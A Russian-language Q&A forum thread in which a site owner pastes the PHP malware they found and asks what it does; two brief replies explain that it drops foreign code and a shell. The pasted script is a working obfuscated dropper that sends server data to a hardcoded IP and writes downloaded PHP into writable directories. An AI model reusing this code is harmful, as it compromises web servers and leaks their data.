Sc0undRel
@Sc0undRel

Что делает этот вирус?

Ктонибудь понимает, что делает этот вирус??

<?php if (!@$incode) {
    $vl = 's';
    $serverid = '55c1698eff412c7bf8218491365b1ca4';
    function oOO($oO, $oO0, $oo, $ooo) {
        if (ini_get('allow_url_fopen') == 1):
            $o00 = stream_context_create(array('http' => array('method' => 'POST', 'header' => array('Content-type: application/x-www-form-urlencoded'), 'content' => http_build_query($_SERVER))));
            if ($ooo == 'yes'):
                $oO = $oO . '&type=fopen';
            endif;
            $o0 = @file_get_contents($oO, false, $o00);
        elseif (in_array('curl', get_loaded_extensions())):
            if ($ooo == 'yes'):
                $oO = $oO . '&type=curl';
            endif;
            $ooO0 = curl_init();
            curl_setopt($ooO0, CURLOPT_URL, $oO);
            curl_setopt($ooO0, CURLOPT_HEADER, false);
            curl_setopt($ooO0, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ooO0, CURLOPT_POSTFIELDS, http_build_query($_SERVER));
            $o0 = @curl_exec($ooO0);
            curl_close($ooO0);
        else:
            if ($ooo == 'yes'):
                $oo = $oo . '&type=socks';
            endif;
            $oOO = fsockopen($oO0, 80, $o0o0O, $oOOo, 10);
            if ($oOO):
                $ooOO0 = http_build_query($_SERVER);
                $oo00 = 'POST ' . $oo . ' HTTP/1.0' . "
";
                $oo00.= 'Host: ' . $oO0 . "
";
                $oo00.= 'Content-Type: application/x-www-form-urlencoded' . "
";
                $oo00.= 'Content-Length: ' . strlen($ooOO0) . "

";
                fputs($oOO, $oo00);
                fputs($oOO, $ooOO0);
                $oo0 = '';
                while (!feof($oOO)):
                    $oo0.= fgets($oOO, 4096);
                endwhile;
                fclose($oOO);
                list($oooo, $o000o) = @preg_split("/\R\R/", $oo0, 2);
                $o0 = $o000o;
            endif;
        endif;
        return $o0;
    }
    function o0($oo0o) {
        $oOoo0 = array();
        $oOoo0[] = $oo0o;
        foreach (scandir($oo0o) as $ooOo0):
            if ($ooOo0 == '.' || $ooOo0 == '..'):
                continue;
            endif;
            $oooO0 = $oo0o . DIRECTORY_SEPARATOR . $ooOo0;
            if (is_dir($oooO0)):
                $oOoo0[] = $oooO0;
                $oOoo0 = array_merge($oOoo0, o0($oooO0));
            endif;
        endforeach;
        return $oOoo0;
    }
    $o00o = @preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
    $oO0 = '91.210.165.152';
    $oo = '/get.php?spider&checkdomain&host=' . $o00o . '&serverid=' . $serverid . '&stookfile=' . __FILE__;
    $oO = 'http://' . $oO0 . '/get.php?spider&checkdomain&host=' . $o00o . '&serverid=' . $serverid . '&stookfile=' . __FILE__;
    $o0O = oOO($oO, $oO0, $oo, $ooo = 'no');
    if ($o0O != 'havedoor|havedonor'):
        if ($o0O != 'needtowait'):
            $o0o = @preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
            $oOo0O = $_SERVER['DOCUMENT_ROOT'];
            chdir($oOo0O);
            $oOoo0 = o0($oOo0O);
            $oOoo0 = array_unique($oOoo0);
            foreach ($oOoo0 as $ooOo0):
                if (is_dir($ooOo0) && is_writable($ooOo0)):
                    $o0o00 = explode(DIRECTORY_SEPARATOR, $ooOo0);
                    $o0oO = count($o0o00);
                    $oOo00[] = $o0oO . '|' . $ooOo0;
                endif;
            endforeach;
            $o0oO = 0;
            foreach ($oOo00 as $o00oO):
                if (count($oOo00) > 1 && (strstr($o00oO, '/wp-admin') || strstr($o00oO, '/cgi-bin'))):
                    unset($oOo00[$o0oO]);
                endif;
                $o0oO++;
            endforeach;
            if (!is_writable($oOo0O)):
                natsort($oOo00);
                $oOo00 = array_values($oOo00);
                $o00oO = explode('|', $oOo00[0]);
                $o00oO = $o00oO[1];
            else:
                $o00oO = $oOo0O;
            endif;
            chdir($o00oO);
            if (strstr($o0O, '|')):
                $o0oo0 = explode('|', $o0O);
                $ooOOo = $o0oo0[0];
                $ooo0O = $o0oo0[1];
                if ($ooOOo == 'nodoor'):
                    $oO = 'http://' . $oO0 . '/get.php?vl=' . $vl . '&update&needfilename';
                    $oo = '/get.php?vl=' . $vl . '&update&needfilename';
                    $ooOo = oOO($oO, $oO0, $oo, $ooo = 'no');
                    $oOooo = explode('|||||', $ooOo);
                    $o0o0 = $oOooo[0] . '.php';
                    $oOOoo = $oOooo[1];
                    file_put_contents($o00oO . DIRECTORY_SEPARATOR . $o0o0, $oOOoo);
                    $o0000 = str_replace($oOo0O, '', $o00oO);
                    $oO = 'http://' . $o0o . $o0000 . '/' . $o0o0 . '?gen&serverid=' . $serverid;
                    $oo = $o0000 . '/' . $o0o0 . '?gen&serverid=' . $serverid;
                    $o0OO = oOO($oO, $o0o, $oo, $ooo = 'no');
                endif;
                if ($ooo0O == 'nodonor'):
                endif;
            elseif ($o0O == 'needtoloadsomefiles'):
                shuffle($oOo00);
                $o00oO = explode('|', $oOo00[0]);
                $o00oO = $o00oO[1];
                $o0000 = str_replace($oOo0O, '', $o00oO);
                $oO00 = 'stuvwxyz';
                $o0o0 = str_shuffle($oO00) . '.php';
                $oOO0 = urlencode('http://' . $o0o . $o0000 . '/' . $o0o0);
                $oO = 'http://' . $oO0 . '/get.php?bdr&url=' . $oOO0;
                $oo = '/get.php?bdr&url=' . $oOO0;
                $o0 = oOO($oO, $oO0, $oo, $ooo = 'no');
                file_put_contents($o00oO . DIRECTORY_SEPARATOR . $o0o0, $o0);
            endif;
        endif;
    endif;
    $incode = 1;
} ?>
  • Вопрос задан
  • 292 просмотра
Пригласить эксперта
Ответы на вопрос 2
@402d
начинал с бейсика на УКНЦ в 1988
основное в нем file_put_contents() - разместить на вашем сервере чужой код.
Ответ написан
Noizefan
@Noizefan
Насколько представляю я - чекает WP на уязвимость и если таковая имеется то использует её оставляя шелл
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы
YCLIENTS Москва
от 200 000 до 350 000 ₽
Ведисофт Екатеринбург
от 25 000 ₽
ИТЦ Аусферр Магнитогорск
от 100 000 до 160 000 ₽
26 апр. 2024, в 09:18
500 руб./в час
26 апр. 2024, в 06:46
1500 руб./в час
26 апр. 2024, в 05:31
1000 руб./за проект